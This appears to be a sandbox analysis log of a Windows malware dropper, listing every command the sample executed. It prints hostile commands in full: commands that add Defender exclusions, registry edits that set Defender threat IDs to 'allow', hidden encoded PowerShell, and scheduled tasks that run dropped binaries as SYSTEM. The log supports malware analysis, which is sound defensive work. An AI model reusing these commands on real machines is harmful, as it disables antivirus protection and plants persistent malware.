Miscellaneous
Searches for the following windows
- ClassName: 'Mozilla_firefox_default-release_RemoteWindow' WindowName: ''
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Creates and executes the following
- '%TEMP%\7zs7c35.tmp\cofr.exe'
- '%TEMP%\7zs7c35.tmp\config.exe' /CRdidM "390358" /S
- '%TEMP%\nbqbhakzjmkcegblk\giicebolsxkwlqd\qxapukc.exe' Q5 /qcdidz 390358 /S
- '%WINDIR%\temp\hwafnozzpuoemctc\rnbdefumwewkdky\iumbzko.exe' yM /pbhKdidcB 390358 /S
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=T...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bcNwGMKmsNVzWAKwXI" /SC once /ST 16:34:00 /RU "SYSTEM" /TR "\"%TEMP%\nbQbhakzjmkCEGblk\giiCEbolsXKWlQD\qxAPuKc.exe\" Q5 /qcdidz 390358 /S" /V1 /F
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows De...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:64
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"%ProgramFiles(x86)%\ImWhzpdUgwUoC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ImWhzpdUgwUoC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ImWhzpdUgwUoC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\ImWhzpdUgwUoC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\OyPtiFtyCDUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\OyPtiFtyCDUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\WhRJETfmsOvU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\WhRJETfmsOvU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\hgFWcOMjU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\hgFWcOMjU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\mtLrEFXjyOohseqfXjR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\mtLrEFXjyOohseqfXjR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\jHODoVTZjAMDqpVB /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %ALLUSERSPROFILE%\jHODoVTZjAMDqpVB /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\nbQbhakzjmkCEGblk /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %TEMP%\nbQbhakzjmkCEGblk /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\AfThHYmrxhwnAIAfN2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\AfThHYmrxhwnAIAfN2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\SqrVspHacMcYLE /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\SqrVspHacMcYLE /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\VaybPPLeElKuXYWAzfK2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\VaybPPLeElKuXYWAzfK2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\djhVedxyGyMFG2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\djhVedxyGyMFG2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\uywWDQfOIdASFVF /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\uywWDQfOIdASFVF /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\uywWDQfOIdASFVF2 /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v <SYSTEM32>\Tasks\uywWDQfOIdASFVF2 /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\HWAfNOzZPuOEmcTC /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v %WINDIR%\Temp\HWAfNOzZPuOEmcTC /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "grkhYuPLW" /SC once /ST 05:59:18 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "grkhYuPLW"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s fhsvc
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -s WPDBusEnum
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "grkhYuPLW"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bngUDANUGwYaRmaEz" /SC once /ST 12:37:08 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\HWAfNOzZPuOEmcTC\RnbdeFUmWeWkdky\IumBzkO.exe\" yM /pbhKdidcB 390358 /S" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "bngUDANUGwYaRmaEz"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bcNwGMKmsNVzWAKwXI"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TR "cmd /C if exist \"%ProgramFiles(x86)%\hgFWcOMjU\REXxQl.dll\" rundll32 \"%ProgramFiles(x86)%\hgFWcOMjU\REXxQl.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "uywWDQfOIdASFVF" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "uywWDQfOIdASFVF2" /F /xml "%ProgramFiles(x86)%\hgFWcOMjU\AapbeEw.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "uywWDQfOIdASFVF"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "uywWDQfOIdASFVF"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "SqrVspHacMcYLE" /F /xml "%ProgramFiles(x86)%\WhRJETfmsOvU2\lbNOatK.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "djhVedxyGyMFG2" /F /xml "%ALLUSERSPROFILE%\jHODoVTZjAMDqpVB\QcXInuu.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "AfThHYmrxhwnAIAfN2" /F /xml "%ProgramFiles(x86)%\mtLrEFXjyOohseqfXjR\rbSxoHj.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "VaybPPLeElKuXYWAzfK2" /F /xml "%ProgramFiles(x86)%\ImWhzpdUgwUoC\VsibweQ.xml" /RU "SYSTEM"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "NUTyAznyRMcPbHuDn" /SC once /ST 11:08:19 /RU "SYSTEM" /TR "rundll32 \"%WINDIR%\Temp\HWAfNOzZPuOEmcTC\SClqFeui\cFJKCwf.dll\",#1 /iTIdide 390358" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "NUTyAznyRMcPbHuDn"
- '<SYSTEM32>\rundll32.exe' "%WINDIR%\Temp\HWAfNOzZPuOEmcTC\SClqFeui\cFJKCwf.dll",#1 /iTIdide 390358
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "ujndz1" /SC once /ST 10:54:51 /F /RU "user" /TR "\"%ProgramFiles%\Mozilla Firefox\firefox.exe\""
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "ujndz1"
- '%ProgramFiles%\mozilla firefox\firefox.exe'
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "NUTyAznyRMcPbHuDn"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ujndz1"
- '%WINDIR%\syswow64\cmd.exe' /C forfiles /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtensio...
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "bngUDANUGwYaRmaEz"
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m where.exe /c "cmd /C powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=...
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden sleep 10& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden sleep 10
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m ping.exe /c "cmd /C powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=dll Force=Tr...
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden sleep 1
- '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=dll Force=True
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force...
- '%WINDIR%\syswow64\cmd.exe' powershell -WindowStyle Hidden sleep 1& WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
